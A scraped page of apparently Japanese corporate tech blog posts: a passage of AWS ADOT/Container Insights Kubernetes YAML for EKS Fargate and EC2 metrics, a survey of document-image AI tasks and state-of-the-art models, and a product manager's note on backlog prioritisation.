"fargate", "failure_type": "pgfault", "scope": "hierarchy"} - include: container_memory_failures_total new_name: new_container_memory_hierarchical_pgmajfault action: insert match_type: regexp experimental_match_labels: {"container": "\\S", "LaunchType": "fargate", "failure_type": "pgmajfault", "scope": "hierarchy"} - include: container_memory_failures_total new_name: new_container_memory_pgfault action: insert match_type: regexp experimental_match_labels: {"container": "\\S", "LaunchType": "fargate", "failure_type": "pgfault", "scope": "container"} - include: container_memory_failures_total new_name: new_container_memory_pgmajfault action: insert match_type: regexp experimental_match_labels: {"container": "\\S", "LaunchType": "fargate", "failure_type": "pgmajfault", "scope": "container"} - include: container_fs_limit_bytes new_name: new_container_filesystem_capacity action: insert match_type: regexp experimental_match_labels: {"container": "\\S", "LaunchType": "fargate"} - include: container_fs_usage_bytes new_name: new_container_filesystem_usage action: insert match_type: regexp experimental_match_labels: {"container": "\\S", "LaunchType": "fargate"} # POD LEVEL METRICS - include: container_spec_cpu_quota new_name: pod_cpu_limit_raw action: insert match_type: regexp experimental_match_labels: {"image": "^$", "container": "^$", "pod": "\\S", "LaunchType": "fargate"} - include: container_spec_cpu_shares new_name: pod_cpu_request action: insert match_type: regexp experimental_match_labels: {"image": "^$", "container": "^$", "pod": "\\S", "LaunchType": "fargate"} - include: container_cpu_usage_seconds_total new_name: pod_cpu_usage_seconds_total action: insert match_type: regexp experimental_match_labels: {"image": "^$", "container": "^$", "pod": "\\S", "LaunchType": "fargate"} - include: container_spec_memory_limit_bytes new_name: pod_memory_limit action: insert match_type: regexp experimental_match_labels: {"image": "^$", "container": "^$", "pod": "\\S", "LaunchType": "fargate"} - include: container_memory_cache new_name: pod_memory_cache action: insert match_type: regexp experimental_match_labels: {"image": "^$", "container": "^$", "pod": "\\S", "LaunchType": "fargate"} - include: container_memory_max_usage_bytes new_name: pod_memory_max_usage action: insert match_type: regexp experimental_match_labels: {"image": "^$", "container": "^$", "pod": "\\S", "LaunchType": "fargate"} - include: container_memory_usage_bytes new_name: pod_memory_usage action: insert match_type: regexp experimental_match_labels: {"image": "^$", "container": "^$", "pod": "\\S", "LaunchType": "fargate"} - include: container_memory_working_set_bytes new_name: pod_memory_working_set action: insert match_type: regexp experimental_match_labels: {"image": "^$", "container": "^$", "pod": "\\S", "LaunchType": "fargate"} - include: container_memory_rss new_name: pod_memory_rss action: insert match_type: regexp experimental_match_labels: {"image": "^$", "container": "^$", "pod": "\\S", "LaunchType": "fargate"} - include: container_memory_swap new_name: pod_memory_swap action: insert match_type: regexp experimental_match_labels: {"image": "^$", "container": "^$", "pod": "\\S", "LaunchType": "fargate"} - include: container_memory_failcnt new_name: pod_memory_failcnt action: insert match_type: regexp experimental_match_labels: {"image": "^$", "container": "^$", "pod": "\\S", "LaunchType": "fargate"} - include: container_memory_failures_total new_name: pod_memory_hierarchical_pgfault action: insert match_type: regexp experimental_match_labels: {"image": "^$", "container": "^$", "pod": "\\S", "LaunchType": "fargate", "failure_type": "pgfault", "scope": "hierarchy"} - include: container_memory_failures_total new_name: pod_memory_hierarchical_pgmajfault action: insert match_type: regexp experimental_match_labels: {"image": "^$", "container": "^$", "pod": "\\S", "LaunchType": "fargate", "failure_type": "pgmajfault", "scope": "hierarchy"} - include: container_memory_failures_total new_name: pod_memory_pgfault action: insert match_type: regexp experimental_match_labels: {"image": "^$", "container": "^$", "pod": "\\S", "LaunchType": "fargate", "failure_type": "pgfault", "scope": "container"} - include: container_memory_failures_total new_name: pod_memory_pgmajfault action: insert match_type: regexp experimental_match_labels: {"image": "^$", "container": "^$", "pod": "\\S", "LaunchType": "fargate", "failure_type": "pgmajfault", "scope": "container"} - include: container_network_receive_bytes_total new_name: pod_network_rx_bytes action: insert match_type: regexp experimental_match_labels: {"pod": "\\S", "LaunchType": "fargate"} - include: container_network_receive_packets_dropped_total new_name: pod_network_rx_dropped action: insert match_type: regexp experimental_match_labels: {"pod": "\\S", "LaunchType": "fargate"} - include: container_network_receive_errors_total new_name: pod_network_rx_errors action: insert match_type: regexp experimental_match_labels: {"pod": "\\S", "LaunchType": "fargate"} - include: container_network_receive_packets_total new_name: pod_network_rx_packets action: insert match_type: regexp experimental_match_labels: {"pod": "\\S", "LaunchType": "fargate"} - include: container_network_transmit_bytes_total new_name: pod_network_tx_bytes action: insert match_type: regexp experimental_match_labels: {"pod": "\\S", "LaunchType": "fargate"} - include: container_network_transmit_packets_dropped_total new_name: pod_network_tx_dropped action: insert match_type: regexp experimental_match_labels: {"pod": "\\S", "LaunchType": "fargate"} - include: container_network_transmit_errors_total new_name: pod_network_tx_errors action: insert match_type: regexp experimental_match_labels: {"pod": "\\S", "LaunchType": "fargate"} - include: container_network_transmit_packets_total new_name: pod_network_tx_packets action: insert match_type: regexp experimental_match_labels: {"pod": "\\S", "LaunchType": "fargate"} # filter out only renamed metrics which we care about filter: metrics: include: match_type: regexp metric_names: - new_container_.* - pod_.* # convert cumulative sum datapoints to delta cumulativetodelta: metrics: - new_container_cpu_usage_seconds_total - pod_cpu_usage_seconds_total - pod_memory_pgfault - pod_memory_pgmajfault - pod_memory_hierarchical_pgfault - pod_memory_hierarchical_pgmajfault - pod_network_rx_bytes - pod_network_rx_dropped - pod_network_rx_errors - pod_network_rx_packets - pod_network_tx_bytes - pod_network_tx_dropped - pod_network_tx_errors - pod_network_tx_packets - new_container_memory_pgfault - new_container_memory_pgmajfault - new_container_memory_hierarchical_pgfault - new_container_memory_hierarchical_pgmajfault # convert delta to rate deltatorate: metrics: - new_container_cpu_usage_seconds_total - pod_cpu_usage_seconds_total - pod_memory_pgfault - pod_memory_pgmajfault - pod_memory_hierarchical_pgfault - pod_memory_hierarchical_pgmajfault - pod_network_rx_bytes - pod_network_rx_dropped - pod_network_rx_errors - pod_network_rx_packets - pod_network_tx_bytes - pod_network_tx_dropped - pod_network_tx_errors - pod_network_tx_packets - new_container_memory_pgfault - new_container_memory_pgmajfault - new_container_memory_hierarchical_pgfault - new_container_memory_hierarchical_pgmajfault experimental_metricsgeneration/1: rules: - name: pod_network_total_bytes unit: Bytes/Second type: calculate metric1: pod_network_rx_bytes metric2: pod_network_tx_bytes operation: add - name: pod_memory_utilization_over_pod_limit unit: Percent type: calculate metric1: pod_memory_working_set metric2: pod_memory_limit operation: percent - name: pod_cpu_usage_total unit: Millicore type: scale metric1: pod_cpu_usage_seconds_total operation: multiply # core to millicore: multiply by 1000 # millicore seconds to millicore nanoseconds: multiply by 10^9 scale_by: 1000 - name: pod_cpu_limit unit: Millicore type: scale metric1: pod_cpu_limit_raw operation: divide scale_by: 100 experimental_metricsgeneration/2: rules: - name: pod_cpu_utilization_over_pod_limit type: calculate unit: Percent metric1: pod_cpu_usage_total metric2: pod_cpu_limit operation: percent # add `Type` and rename metrics and labels metricstransform/label_2: transforms: - include: pod_.* match_type: regexp action: update operations: - action: add_label new_label: Type new_value: "Pod" - include: new_container_.* match_type: regexp action: update operations: - action: add_label new_label: Type new_value: Container - include: .* match_type: regexp action: update operations: - action: update_label label: namespace new_label: Namespace - action: update_label label: pod new_label: PodName - include: ^new_container_(.*)$$ match_type: regexp action: update new_name: container_$$1 # add cluster name from env variable and EKS metadata resourcedetection: detectors: [env, eks] batch: timeout: 60s # only pod level metrics in metrics format, details in https://aws-otel.github.io/docs/getting-started/container-insights/eks-fargate exporters: awsemf: log_group_name: '/aws/containerinsights/{ClusterName}/performance' log_stream_name: '{PodName}' namespace: 'ContainerInsights' region: YOUR-AWS-REGION resource_to_telemetry_conversion: enabled: true eks_fargate_container_insights_enabled: true parse_json_encoded_attr_values: ["kubernetes"] dimension_rollup_option: NoDimensionRollup metric_declarations: - dimensions: [ [ClusterName, LaunchType], [ClusterName, Namespace, LaunchType], [ClusterName, Namespace, PodName, LaunchType]] metric_name_selectors: - pod_cpu_utilization_over_pod_limit - pod_cpu_usage_total - pod_cpu_limit - pod_memory_utilization_over_pod_limit - pod_memory_working_set - pod_memory_limit - pod_network_rx_bytes - pod_network_tx_bytes extensions: health_check: service: pipelines: metrics: receivers: [prometheus] processors: [metricstransform/label_1, resourcedetection, metricstransform/rename, filter, cumulativetodelta, deltatorate, experimental_metricsgeneration/1, experimental_metricsgeneration/2, metricstransform/label_2, batch] exporters: [awsemf] extensions: [health_check] ADOTに接続するためのService設定をClusterIPで設定します。 apiVersion: v1 kind: Service metadata: name: adot-collector-service namespace: fargate-container-insights labels: app: aws-adot component: adot-collector spec: ports: - name: metrics # default endpoint for querying metrics. port: 8888 selector: component: adot-collector type: ClusterIP 上記で設定したConfigmapを元にADOTCollectorをStatefullsetとして作成します。 apiVersion: apps/v1 kind: StatefulSet metadata: name: adot-collector namespace: fargate-container-insights labels: app: aws-adot component: adot-collector spec: selector: matchLabels: app: aws-adot component: adot-collector serviceName: adot-collector-service template: metadata: labels: app: aws-adot component: adot-collector spec: serviceAccountName: adot-collector securityContext: fsGroup: 65534 containers: - image: amazon/aws-otel-collector:v0.15.1 name: adot-collector imagePullPolicy: Always command: - "/awscollector" - "--config=/conf/adot-collector-config.yaml" env: - name: OTEL_RESOURCE_ATTRIBUTES value: "ClusterName=YOUR-EKS-CLUSTER-NAME" resources: limits: cpu: 2 memory: 2Gi requests: cpu: 200m memory: 400Mi volumeMounts: - name: adot-collector-config-volume mountPath: /conf volumes: - configMap: name: adot-collector-config items: - key: adot-collector-config path: adot-collector-config.yaml name: adot-collector-config-volume Container Insightsでの確認 ここまでの設定を行い環境作成が終わり、 k8s 環境にpodを作成すると自動的にContainerInsights上でメトリクスデータが見れるようになっています。 また、こちらの ダッシュ ボードのもととなるメトリクスはCloudwatchメトリクス上でも確認することが可能です。 ADOTをEKSonFargate+EC2に導入するには ここまでの設定でFargateの情報を取得することができるようになりました。 ただし、EC2交じりの構成を組んでいた場合、EC2上のpodのメトリクスは上記の方法では取得できません。 そこで追加で2つの改変を行うことでEC2上のメトリクスも取得できるようにしてみましょう。 ノードグループにラベルを追加 EC2のノードグループにラベルを追加します。 LaunchType:EC2と追加しましょう。 Configmapの修正 次にConfigmapに以下のように修正を加えましょう。 「processors」は現状ではLaunchType:Fargateとなっているもののデータしか収集しないようになっています。 そのためLanchType:EC2も対象となるようにしましょう。 またmemory_utilizationもFargateで作成した場合はPod_memoryというデータになってしまい、 EC2上のPodの情報がうまく取れないので「container_memory_utilization_over_pod_limit」という名前で追加作成しておきます。 最後に「exporters」上に、先ほど作った「container_memory_utilization_over_pod_limit」と「container_memory_working_set」「container_memory_limit」を追加しておきましょう。 apiVersion: v1 kind: ConfigMap metadata: name: adot-collector-config namespace: fargate-container-insights labels: app: aws-adot component: adot-collector-config data: adot-collector-config: | receivers: 中略 processors: # rename labels which apply to all metrics and are used in metricstransform/rename processor metricstransform/label_1: transforms: - include: .* match_type: regexp action: update operations: - action: update_label label: name new_label: container_id - action: update_label label: kubernetes_io_hostname new_label: NodeName - action: update_label label: eks_amazonaws_com_compute_type new_label: LaunchType # rename container and pod metrics which we care about. # container metrics are renamed to `new_container_*` to differentiate them with unused container metrics metricstransform/rename: transforms: - include: container_spec_cpu_quota new_name: new_container_cpu_limit_raw action: insert match_type: regexp experimental_match_labels: {"container": "\\S", "LaunchType": "fargate|EC2"} - include: container_spec_cpu_shares new_name: new_container_cpu_request action: insert match_type: regexp experimental_match_labels: {"container": "\\S", "LaunchType": "fargate|EC2"} - include: container_cpu_usage_seconds_total new_name: new_container_cpu_usage_seconds_total action: insert match_type: regexp experimental_match_labels: {"container": "\\S", "LaunchType": "fargate|EC2"} 中略 experimental_metricsgeneration/1: rules: - name: pod_network_total_bytes unit: Bytes/Second type: calculate metric1: pod_network_rx_bytes metric2: pod_network_tx_bytes operation: add - name: pod_memory_utilization_over_pod_limit unit: Percent type: calculate metric1: pod_memory_working_set metric2: pod_memory_limit operation: percent - name: container_memory_utilization_over_pod_limit ←追加 unit: Percent type: calculate metric1: new_container_memory_working_set metric2: new_container_memory_limit operation: percent 中略 exporters: awsemf: log_group_name: '/aws/containerinsights/{ClusterName}/performance' log_stream_name: '{PodName}' namespace: 'ContainerInsights' region: ap-northeast-1 resource_to_telemetry_conversion: enabled: true eks_fargate_container_insights_enabled: true parse_json_encoded_attr_values: ["kubernetes"] dimension_rollup_option: NoDimensionRollup metric_declarations: - dimensions: [ [ClusterName, LaunchType], [ClusterName, Namespace, LaunchType], [ClusterName, Namespace, PodName], [ClusterName, Namespace, PodName, LaunchType]] metric_name_selectors: - pod_cpu_utilization_over_pod_limit - pod_cpu_usage_total - pod_cpu_limit - pod_memory_utilization_over_pod_limit - container_memory_utilization_over_pod_limit ←追加 - pod_memory_working_set - container_memory_working_set ←追加 - pod_memory_limit - container_memory_limit ←追加 - pod_network_rx_bytes - pod_network_tx_bytes 後略 こちらのconfigmapを再度適応したADOTCollectorを展開してみます。 そうするとメトリクスをCloudwatchメトリクス上でも確認することが可能です。 ※新しく追加したデータはContainerInsights上では確認が取れませんので注意が必要です。 まとめ さて、実際の流れを通して ADOT の使い方の一例としてEC2podの情報取得方法についてご案内させていただきました。 今回は既存のADOT設定を踏襲するようにしたため、無駄な設定もありもっと改善の余地はあるかと思います。 本記事を参考にADOT使ってみたけどFargateとEC2の両方のメトリクスはどうやってとればいいんだ!って人の参考になれば幸いです。 参考 https://aws.amazon.com/jp/blogs/news/introducing-amazon-cloudwatch-container-insights-for-amazon-eks-fargate-using-aws-distro-for-opentelemetry/ https://opentelemetry.io/docs/ https://kubernetes.io/docs/concepts/cluster-administration/system-metrics/
アバター
はじめに ラク スのサービスでは請求書や領収書をはじめ、様々な文書を取り扱っています。 例えば楽楽精算では領収書の読み取り機能を有しており、この機能にはAIを用いた画像認識を活用しています。 このように文書画像を対象としたAI(以下、本記事では文書画像読解AIと呼びます)は、様々なタスクに応用できます。 そこで今回の記事では、文書画像読解AIではどのようなタスクを解くことができるか、代表的なものを紹介します。 また各タスクに適用できるモデルについて、本記事執筆時点でのSOTAモデル *1 をいくつか簡単に紹介します。 文書画像を扱うタスクやモデルにどのようなものがあるか、概要を知りたい方に向けた内容となっております。 目次 はじめに 目次 サマリー 文書画像読解AIのタスク OCR(Optical Character Recognition、光学文字認識) レイアウト解析 (Document Layout Analysis) 文書画像分類 (Document Image Classification) 情報抽出 (Key Information Extraction) DocVQA (Document Visual Question Answering) 文書画像読解AIのSOTAモデル OCR レイアウト解析 文書画像分類 情報抽出 DocVQA モデルの一例 LayoutLM Donut (OCR-free Document Understanding Transformer) 終わりに 参考文献 サマリー AIで解くことができる文書画像タスクには様々なものがある。特に OCR は別タスクの前処理としても扱われることがあり、重要な基礎技術である。 一つの アルゴリズム で複数のタスクに応用できるモデルがある。 画像とテキスト両方の特徴を活用したマルチモーダルAIが、各タスクで高い精度を発揮している。 文書画像読解AIのタスク 上述のように、文書画像読解AIは様々なタスクに活用できます。 本章ではそのうち5つのタスクを紹介します。 各タスクではAIの入出力のフォーマットが異なるのが特徴です。 OCR (Optical Character Recognition、 光学文字認識 ) 画像データに含まれる文字(活字、手書き)を、PCが処理可能な文字データに変換するタスクです。 AIに画像を入力すると、以下のように文字の内容と座標(検出枠)が出力されます。 OCR の結果例 [1] OCR は主に「検出」と「認識」の2段階の処理に分解できます。 (※検出と認識を組み合わせたような Text Spotting というタスク・手法もありますが、本記事では扱いません。) 検出では文書画像中に含まれた文字の位置を推測し、認識では検出した文字が何であるかを推測します。 OCR は後述の別タスク「情報抽出」などの前処理として採用されることもあり、文書画像読解AIの基礎技術と言うことができます。 レイアウト解析 (Document Layout Analysis) 文書画像に含まれる文章、表、タイトル、図などを検出(またはセグメンテーション処理)するタスクです。 検出の場合、AIの入力値は画像、出力値は座標と分類クラスとなります。 以下は論文画像をレイアウト解析した例で、青が図(figure)、緑が文章(text)、黄色が表(table)、赤がタイトル(title)となっています。 論文をレイアウト分析した例 [2] 文書画像分類 (Document Image Classification) 画像の特徴から文書が何の種類か判定するタスクです。例えば請求書、領収書、納品書などへ分類します。 AIの入力は画像、出力は分類したクラスとなります。 情報抽出 (Key Information Extraction) 文書画像に含まれる特定の項目を推論します。例えば請求書に記載された日付、会社名、請求金額などを推測します。 手法によりますがAIの入力は画像と文字情報(座標と文字の内容)、出力は項目名と値のペア(Key- value pair)となることが一般的です。 例えば以下の例では、レシート画像(a)を入力すると(b)のようにAIから出力されます。(c)は正解値であり、この例ではAIが正確に推論できていることがわかります。 レシートから情報抽出した例 [3] DocVQA (Document Visual Question Answering) 正確にはDocVQAというのはデー タセット の名前で、文書の内容に関する質問を投げると、画像に含まれた情報から回答を出力するタスクです。 AIの入力は文書画像と質問内容となります。 以下はその一例で、”Q”が質問内容、”Answer”が正解値、” Donut ”と”LayoutLMv2-Large-QG”がAIの出力です。 DocVQAの例 [3] 文書画像読解AIのSOTAモデル 本章では、前章の5つのタスクについてSOTAモデルについて簡単に紹介します。 SOTAを紹介する上での補足事項です。 全て紹介すると長くなってしまうので、今回は上位5個程度抜粋しました。同じ アルゴリズム でパラメータ設定などが異なるものについては、最良のモデルのみとしています。 今回紹介するSOTAモデルの結果には”Papers With Code” [4]というサイトや各モデルの論文を活用しております。紹介する内容は本記事執筆時点での情報である点はご了承ください。 各タスクによってデー タセット や評価指標が異なりますが、それらについての詳細解説は省略させていただきます。 OCR OCR は検出と認識に分割できると述べました。 したがって本記事では検出: Scene Text Detectionのモデル、認識: Scene Text Recognition のモデルとしてそれぞれ個別に紹介させていただきます。 ※ Tesseract や PaddleOCR などの OCR エンジンについては本記事では触れておりません。 Scene Text Detection 評価データ Total-Textを使用した場合です。 評価指標は F値 を用いています。[5] モデル F値 (%) 報告年 MixNet 90.5 2023 SRFormer 90.0 2023 DPText-DETR 89.0 2022 FAST-B-800 87.5 2021 TextFuseNet 87.5 2020 Scene Text Recognition 評価データ ICDAR2015の場合です。 評価指標はAccuracy(正解率)を用いています。[6] モデル 正解率 報告時期 CLIP4STR 90.6 2023 PARSeq 89.6±0.3 2022 S-GTR 87.3 2021 MATRN 86.6 2021 CDistNet 86.25 2021 レイアウト解析 PubLayNet val というデー タセット を用いた評価です。 評価指標はmAP@IoU[0.50:0.95]を使用しています。[7] モデル mAP@IoU[0.50:0.95] 報告時期 LayoutLMv3 0.951 2022 DiT-L 0.949 2022 Deit-B 0.932 2020 BEiT-B 0.931 2021 文書画像分類 RVL-CDIPという16種類の文書画像が含まれたデー タセット を使っています。 評価指標はAccuracy(正解率)を用いています。[8] モデル 正解率 報告時期 DocFormerBASE 96.17 2021 LayoutLMv3 Large 95.93 2022 LiLT [EN-R] BASE 95.68 2022 LayoutLMv2 Large 95.64 2020 TILT Large 95.52 2021 Donut 95.3 2021 情報抽出 CORDというデー タセット を使った評価です。 評価指標は F値 となります。[9] モデル F値 (%) 報告年 GeoLayoutLM 97.97 2023 LayoutLMv3 Large 97.46 2022 DocFormer Large 96.99 2021 LiLT 96.07 2022 LayoutLMv2Large 96.01 2020 DocVQA DocVQAというデー タセット での評価結果です。 評価指標はANLS(Average Normalized Levenshtein Similarity)となります。[10] モデル ANLS 報告年 ERNIE-Layout Large 0.8841 2022 TILT Large 0.8705 2021 LayoutLMv2 0.867 2020 LayoutLMv3 Large 0.8337 2021 モデルの一例 ここでは上述のモデルのうち、複数のタスクで使用できる「LayoutLM」と「 Donut 」をピックアップして簡単に紹介します。 これらのモデルは学習に使う データ形式 を変えることで、複数のタスクに対応できるように開発されています。 LayoutLM 適用可能タスク: レイアウト解析、文書画像分類、情報抽出、DocVQA OCR による文字情報と、画像の特徴を両方学習させるマルチモーダルモデルです。 これまでにv1〜v3が開発されています。 LayoutLMv3の概要図[2] OCR の結果(文字情報)と画像情報から推論する。 Donut ( OCR -free Document Understanding Transformer) 適用可能タスク: 文書画像分類、情報抽出、DocVQA 画像とプロンプトを与えると結果を出力します。 OCR 処理を使わないのが特徴です。 Donut の概要図 [3] 画像とプロンプトを入力すると、使用したモデルとプロンプトの内容に応じて結果を出力する。 終わりに 本記事では文書画像読解AIについて、AIが扱えるタスクとそのモデルについて簡単に紹介しました。 新しいモデルが次々に開発される分野ですので、今後も注目していきたいと思います。 また現在 ラク スではAIエンジニアを募集しております。このようなモデル検証や アルゴリズム 実装、実際のサービスへの組み込みまで、 一緒に当社のAI開発を推進していただける方は是非こちらの募集情報もご覧ください! エンジニアリングマネージャー/AI・機械学習 | エンジニア職種紹介 | 株式会社ラクス キャリア採用 AIエンジニア | エンジニア職種紹介 | 株式会社ラクス キャリア採用 参考文献 [1] T.Kil et al., “Towards Unified Scene Text Spotting based on Sequence Generation”, https://arxiv.org/pdf/2304.03435v1.pdf [2] Y. Huang et al., “LayoutLMv3: Pre-training for Document AI with Unified Text and Image Masking”, https://arxiv.org/pdf/2204.08387.pdf [3] G. Kim et al., “ OCR -free Document Understanding Transformer”, https://arxiv.org/pdf/2111.15664.pdf [4] Papers With Code, https://paperswithcode.com/sota [5] Scene Text Detection on Total-Text, https://paperswithcode.com/sota/scene-text-detection-on-total-text [6] Scene Text Recognition on ICDAR2015, https://paperswithcode.com/sota/scene-text-recognition-on-icdar2015 [7] Document Layout Analysis on PubLayNet val, https://paperswithcode.com/sota/document-layout-analysis-on-publaynet-val [8] Document Image Classification on RVL-CDIP, https://paperswithcode.com/sota/document-image-classification-on-rvl-cdip [9] Key Information Extraction on CORD, https://paperswithcode.com/sota/key-information-extraction-on-cord [10] Visual Question Answering (VQA) on DocVQA test, https://paperswithcode.com/sota/visual-question-answering-on-docvqa-test *1 : state-of-the-art モデル、最先端の高い性能を達成しているモデル
アバター
皆さん、こんにちは!もしくはこんばんは! 楽楽精算プロダクトマネージャーのwekkyyyyです。 前回は、「楽楽精算PdMの業務内容を紹介します」というタイトルで記事を書かせていただきました。 tech-blog.rakus.co.jp 今回は、第二弾として PBIの優先度設定方法のポイントと設定することの狙い というテーマでブログを記載します。 今回このテーマで書こうと思ったきっかけは、 弊社内やPdMコミュニティの中で 「なんでこの案件が優先されるんだろう?他にもあるのに。。。」 「次に何開発するんだろう?できれば少しずつ視野にいれていきたいな。。」 といった疑問を持たれている方が一定数いることを確認でき、そういった方達の一助になる対応事例を提供できれば・・・と思ったことです。 かく言う私も、PdM駆け出しの頃は上記のことを思ってました。 それを不満という形で上司にぶつけてしまい、よくないコミュニケーションを取ってしまっていました。(今思うと非常に恥ずかしいし申し訳ない限りです) 前提 PBIの優先度設定の狙い PBIの優先度設定方法のポイント 注意点 今後の執筆内容(変更可能性あり) ラクスのPdMとして活躍してみませんか? 前提 弊社プロダクトの中で「楽楽精算」での事例を記載しております。 優先度設定方法の 一例 として捉えてください。    ※企業によってそれぞれの状況、考え方があるので適した形を探してください。 PBIの優先度設定の狙い 1. 関係者が、先を見据えて行動できる土台をつくる プロダクトマネージャー目線: 顕在化している課題に対するソリューション案を検討し蓄積していくことを狙っています。 それにより開発リソースの空きが出た際にすぐに開発に要求仕様を渡せるようなるためです。 次に調査すべき課題の計画を事前に立てておき、動き出しを早くすることを狙っています。 調査計画を立てるためには意外と時間がかかると考えているためです。(どういう計画?は別記事で書く予定です) エンジニア目線: 技術改善提案をする際に、効果を増加できる案件があるか事前に把握し提案タイミング、内容を図れるようなることを狙っています。 技術に寄ってしまって、ユーザーニーズ、ビジネスゴールと紐づかないことを避けるためです。 2. 優先度について会話のレベルを上げる 「今の優先度設定方法だと〜の課題がある。なので〜のように変えよう。」というコミュニケーションにしていくことを狙っています。 優先度設定方法の土台がないと、前提認識内容が合わずに関係者コミュニケーションが難しくなることが多いと考えているためです。 PBIの優先度設定方法のポイント 1. 開発カテゴリ分類を決める 楽楽精算では、以下の開発カテゴリに分けています。 2. カテゴリの優先度を決める 楽楽精算では、維持管理案件が基本優先されるようにしています。  ※対応期限により後回しにすることはあります。 3. カテゴリ内の優先度指標を決める 維持管理:対応期限(期日が早いものから) 財務効果:失注、解約MRRの合計MRR(金額が高いものから) を楽楽精算では指標として定めています。 財務効果において、「それで事業目標を達成できるの?」という声がありそうですが、それはまた別記事で説明します。 4. 開発リスト入りの条件を決める ここまでを見ると、維持管理に入れてしまえば何でも優先されるようにみえてしまいます。 ですが、その状態は健全ではないのでチェッカー(事業本部長、開発部長の承認)を置いています。 注意点 上記が基本ルールとなりますが、事業戦略的な事情で一部優先度変わる場合もありえます。 ユーザビリティ 観点で見ないわけではありません。失注や解約に結びつかない事象は優先度が下がるという形です。 バグ、インシデント対応は、別途 しきい値 を決めて対応を進めていく必要があります。 コスト削減案件がある場合 財務効果観点で優先度を決めます。 今後の執筆内容(変更可能性あり) 開発案件につなぐ営業/CSからのVoC収集方法 ラク スのプロダクトマネージャーに必要なスキル エンジニアとのコミュニケーション術 ラク スのPdMとして活躍してみませんか? 楽楽精算PdMは、引き続き人材を募集しております。 是非カジュアル面談からお申し込みいただけると幸いです。 プロダクトマネージャー | エンジニア職種紹介 | 株式会社ラクス キャリア採用
アバター